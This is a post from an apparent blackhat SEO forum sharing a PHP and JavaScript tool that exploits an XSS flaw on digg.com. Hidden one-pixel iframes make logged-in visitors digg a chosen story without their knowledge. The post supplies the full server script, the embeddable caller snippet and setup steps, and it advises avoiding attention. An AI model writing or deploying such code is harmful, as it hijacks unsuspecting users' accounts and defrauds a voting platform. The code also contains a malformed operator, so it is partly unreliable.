AD Script

https://blackhatx.com/seo-forum/

AD Script

I felt like giving back to this wonderful community so I thought I'd share this.

The script may require slight modification to work properly but if you know what you're doing you'll be able to get this bad boy working ;)

There is a XSS vulnerability on digg.com which opens op for the opportunity of automatic digg's. I've put together the script below with which you can make visitors to a website digg a given story if they're just logged into digg. It doesn't take any userinteraction and it all happens in the "background" without the user knowing it.

The script consists of several elements - but I've tried to make it easy for you guys to utilize - and also help to avoid too much attention around the script.

1. 'the-js.php' - Some PHP stuff which logs some activity and monitors the story. This script outputs to XSS code and should stop showing the actual XSS code when either the story has been 'made popular' or if it's more than 24 hours since submission. Note that the PHP script will also 'exit' on any error.
2. Snoopy http class - used in the PHP stuff... The file 'Snoopy.class.php' should be located in the same folder as 'the-js.php'. (get snoopy: http://sourceforge.net/projects/snoopy/)
3. 'digg_this.txt' - a simple text file used to log a bit of info used in 'the-js.php'. 'digg_this.txt' MUST be writeable, contain '0-0' when first used for a story, and it should be located in the same folder as 'the-js.php'.
4. The 'caller code' - a simple piece of javascript code that should be implemented on the page(s) where you've got digg users visiting that you want to make digg a story.
Code:
<?php

$digg_story_url = 'http://digg.com/linux_unix/Dell_censors_IdeaStorm_Linux_dissent';

// ************ IMPORTANT NOTES ************
//
// The file: 'digg_this.txt' must exist, be
//   writeable and contain '0-0' when this
//   script is taken into use.
//
// If you edit the code please be sure about
//   what you're doing so you don't end up
//   bringing too much attention to it.
//
// This script is of course for educational
//   purpose only...
//

$report_errors = false;
$filename = 'digg_this.txt';

header('Cache-Control: no-cache, must-revalidate');
header('Expires: Mon, 26 Jan 1997 05:00:00 GMT');
header('Pragma: no-cache');
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');

require_once('Snoopy.class.php');

function error_and_exit($error) {

global $report_errors;
if ($report_errors === true) echo('document.write(\'' . $error . '\');');

if (($error >= 5) and& ($error <= 8)) {
global $handle;
fclose($handle);
}

exit;
}

if (strpos($digg_story_url, 'digg') === false) error_and_exit('1');
if (!file_exists($filename)) error_and_exit('2');
if (!is_writable($filename)) error_and_exit('3');
if (!$handle = fopen($filename, 'r+')) error_and_exit('4');

$status = fread($handle, 8192);
$status = trim($status);

if (strpos($status, 'stop') !== false) error_and_exit('5');

$STATUS = explode('-', $status);

if (($STATUS[0] > 100) || $STATUS[1] < (mktime() - 1800)) {

$snoopy = new Snoopy;
if ($snoopy->fetch($digg_story_url)) $page_result = $snoopy->results;

$tmp = substr($page_result, strpos($page_result, '<dt>Submitted:</dt>'));
$tmp = substr($tmp, 0, strpos($tmp, '<dt>Submitter:</dt>'));
if ((strpos($tmp, 'made popular') !== false) || (strpos($tmp, 'day') !== false)) {
$new_status = 'stop';
ftruncate($handle, 0);
fseek($handle, 0);
fwrite($handle, $new_status);
error_and_exit('6');
} else {
$new_status = '0-' . mktime();
ftruncate($handle, 0);
fseek($handle, 0);
if (fwrite($handle, $new_status) === false) error_and_exit('8');
}

} else {

$STATUS[0]++;
$new_status = $STATUS[0] . '-' . $STATUS[1];
ftruncate($handle, 0);
fseek($handle, 0);
if (fwrite($handle, $new_status) === false) error_and_exit('7');

}

fclose($handle);

// seems like everything is fine so we output the client side script to digg the story

echo('document.write(\'<iframe name="DiggFrame" src="http://digg.com/api/diggthis.php?u=' . $digg_story_url . '" style="width:1px;height:1px;border:0px;"></iframe>\');');
echo('document.write(\'<iframe src=\\\'http://digg.com/tools/diggthis.js"</title></head><body><script>var diggform=top.DiggFrame.document.getElementById("f1");diggform.target="_self";diggform.submit();</script>\\\' style="width:1px;height:1px;border:0px;"></iframe>\');');

code end -----------------

The 'caller code' for your websites with digg users visiting:

<script src="http://some-domain.tld/location-of/the-js.php" type="text/javascript"></script>

How to use this:
1. Submit your story to digg.com
2. Edit '$digg_story_url' in 'the-js.php' to contain your digg-url like this: "$digg_story_url = 'http://digg.com/linux_unix/Dell_censors_IdeaStorm_Linux_dissent';"
3. Edit 'digg_this.txt' to contain '0-0' ZERO DASH ZERO and make sure the file is writeable
4. Place the 'caller code' on pages with digg users visiting


For more information visit are site...
https://blackhatx.com/seo-forum/